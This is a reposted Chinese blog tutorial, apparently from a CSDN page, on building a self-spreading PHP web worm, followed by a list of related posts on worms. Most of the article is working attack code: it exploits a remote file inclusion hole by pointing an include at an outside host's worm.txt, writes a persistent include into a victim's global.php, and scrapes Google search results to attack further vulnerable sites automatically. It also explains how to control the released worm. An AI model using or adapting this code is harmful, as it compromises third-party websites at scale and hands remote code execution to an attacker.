一个web蠕虫的简单实现

转载 2007年10月16日 09:33:00
本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。

在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织

,所谓黑客的后门,鄙视!
    所谓蠕虫,其本质是利用计算机或者应用程序的漏洞进行感染和传播的一段程序,传统的蠕虫一般利用系统方面的漏洞来实

现自身的传播,但是由于蠕虫的肆虐,一般的管理员或安装了防火墙或者在网络节点上做了限制。,传播受到限制。但是与此同

时,web服务的广泛兴起,各种web程序的漏洞不断被发现,web服务的特殊性以及搜索引擎的强大功能就给了web蠕虫滋生的温床

,下面就给大家讲述一个在php环境下的web蠕虫的简单实现。

一  需要的程序漏洞

    php程序的流行加上php的灵活性导致的安全漏洞很多,其中最耀眼的就是文件包含漏洞,最简单的漏洞基本模型如下:

<?
@include $page;
?>

    其中$page变量可能没有经过过滤,导致该变量可能能被控制从而引发漏洞,可以包含任意指定的文件,现在大部分php都默

认将远程文件选项allow_url_fopen配置为on,导致包含我们指定的远程文件变得可能。这样存在类似漏洞的程序很多,于是我

们可以在其中将变量定义为我们的一个文件如http://www.defence80.com/worm.txt,其中执行的的代码我们可以控制。我们只

要简单的GET这个页面:

Iam_vul.php?page=http://www.defence80.com/worm.txt

就可以让worm.txt内容在网站执行:)


二  感染

    我们可能很容易的利用上述的漏洞进入一个目标网站,但是如何在我们离开后让该网站成为蠕虫的发源地呢?很明显,php

代码可以做到这点。我们在系统需要的一个关键文件或者首页或者你希望的任何文件里加入如下代码:

<?
@include "http://www.defence80.com/worm.txt";
?>

    当然,为了程序不疯狂的将自身感染我们需要一个已经被蠕虫感染的标记,传统的蠕虫也是这样做的!实现很简单,我们可

以在网站目录下面生成一个worm.txt表示已经被感染,代码变为:

<?if(!file_exists('worm.txt'))
{
fputs(fopen('worm.txt','a+'),'I am a worm!');
fputs(fopen('global.php','a+'),'<?@include "http://www.defence80.com/worm.txt";?>');
}
?>

    这样这个网站就被我们寄生了:)

三  传播

    传统的蠕虫是自己随机生成攻击目标或者扫描得到攻击目标的,但是很明显,web不可能自己实现这一点,但是搜索引擎的

壮大使着变得可能。假设我们的目标系统的关键页面是Iam_vul.php这个页面,那么我们可以通过Google搜索这个已经提取好的

关键字的页面,然后稍加处理就可以生成攻击目标的列表了:)当然也要考虑一些其他的因素,包括代码执行的速率,我们的这

个攻击代码是会被插入到漏洞网站执行的,所以不要影响人家页面的打开速度,因为你可能不希望你的蠕虫那么快就死掉。我这

里简单的考虑目标的选取和个数的确定:

<?
$random = rand(0, 30);
$random = 10*$random;                                 //随机取0-300之间的数目,我这里是作为示例:)
$query  = 'Iam_vul.php';                              //关键字
$url = "http://www.google.com/search?q=".$query.&q ... r=&start=".$random;
if($contents=@file_get_contents($url))                //取得Google页面的返回
    {
        $pattern="|<a class=l href=['"]?([^ '"]+)['" ]|U";
        @preg_match_all($pattern,$contents, $regArr, PREG_SET_ORDER);
        for($i=0;$i<@count($regArr);$i++)    {
                                            $site=@preg_replace

("/Iam_vul.php(.*)$/i",'',$regArr[$i][1]);           //处理生成结果,可以考虑修改感染个数
                                            @file_get_contents

($site."Iam_vul.php?page=http://www.defence80.com/worm.txt"); //攻击目标网站,的确就这么简单
                                        
                                        }
    }
?>

    能不能传播时间够长可能这一步就是关键了,首先你要有精粹的攻击代码,其次要能精确的定位目标,再者因为

file_get_contents函数的简单可能很容易被搜索引擎封锁,你需要用其他如fsockopen函数代替这个,为了应付环境的不确定性

你需要判断函数的存在做错误处理,能做到不影响目标网站的运行而执行传播最好了!

四  如何控制?

    精心构造好上面的数据就可以测试你的蠕虫了,但是如何控制这个放出去的恶魔呢?我们可以将包含worm.txt换成worm.php

,然后简单的监视来访问的worm.php的次数就很容易控制这个蠕虫,你也随时可以更改这个代码让蠕虫做任何其他的事情。

五  总结

    精心构造自己的代码,web蠕虫是现实的,如果你发现了某个漏洞,是公布出去让人写工具搞破坏挂马还是尝试写一个善意

的蠕虫去尝试修复漏洞或者提醒管理员呢?再次鄙视那些写没有思想只写垃圾工具的废物!完毕! 
 

【c++】爬动的蠕虫

一条蠕虫长1寸,在一口深为N寸的井的底部。已知蠕虫每1分钟可以向上爬U寸,但必须休息1分钟才能接着往上爬。在休息的过程中,蠕虫又下滑了D寸。就这样,上爬和下滑重复进行。请问,蠕虫需要多长时间才能爬出井...
  • ww1473345713
  • ww1473345713
  • 2016-03-20 14:46:29
  • 491

web蠕虫编写过程

*导言      *自动化    *搜集目标 *绕过IDS,多态性和通讯        *结语      ===导言===                        ...
  • liuhuihlf
  • liuhuihlf
  • 2016-12-10 12:23:26
  • 1531

蠕虫病毒编写技术

 蠕虫病毒编写技术收藏 function StorePage(){d=document;t=d.selection?(d.selection.type!=None?d.selection....
  • StudyFromEveryOne
  • StudyFromEveryOne
  • 2008-07-07 23:24:00
  • 1426

一个web蠕虫的简单实现

 本帖子原来是T_Torchidy的投稿文章,被tombkeeper转入论坛。在这之前先鄙视下一些人发现漏洞就挂马的无耻行为,我曾经因为一个公开的漏洞而在一个网站站上发现24个各个所谓组织,所谓黑客的...
  • freexploit
  • freexploit
  • 2006-11-30 23:05:00
  • 2314

病毒实验 蠕虫示例与手工查杀实验

  • 2010年12月06日 22:16
  • 31KB
  • 下载

渗透测试笔记:爬虫变蠕虫的故事

写这篇文,主要想以日记的形式记录下我在整个测试(gongji)过程中的 心路历程、所用技术、填的坑等等。。 为了让文章显得不那么呆板,不那么流水,我尽量使用一些文艺点的词汇。 9月份的广州,一天...
  • qq_30123355
  • qq_30123355
  • 2016-09-07 20:04:12
  • 1611

Samy XSS Worm 分析

Samy Worm MySpace.com允许用户通过控制标签的style属性,samy构造css xss。 MySpace过滤了很多关键字,利用拆分法绕过。 div标签如下: ...
  • x728999452
  • x728999452
  • 2016-07-22 21:21:04
  • 537

Samy 蠕虫代码

  • zero_bug
  • zero_bug
  • 2015-11-02 16:13:29
  • 525

XSS学习笔记(六)-XSS蠕虫

3.XSS蠕虫 对于XSS蠕虫,无非就是在客户端提交的时候绕过过滤和转义,可以在继续在浏览器端执行的js 等代码,这里提供几种加密方式: 原型:alert(XSS) URL En...
  • zhx278171313
  • zhx278171313
  • 2014-04-28 09:56:37
  • 1997

蠕虫病毒编写技术

 现在蠕虫病毒泛滥,网络安全越来越受到威胁,其实主要方面是一是国内人员技术水平的提高,二是相关技术公开程度也越来越高,其实现在的蠕虫病毒大多属于文件病毒,相关技术也比较简单,本意在于揭开病毒的面纱,了...
  • iiprogram
  • iiprogram
  • 2008-04-16 22:02:00
  • 1461
收藏助手
不良信息举报
您举报文章: 一个web蠕虫的简单实现
举报原因:
原因补充:

(最多只允许输入30个字)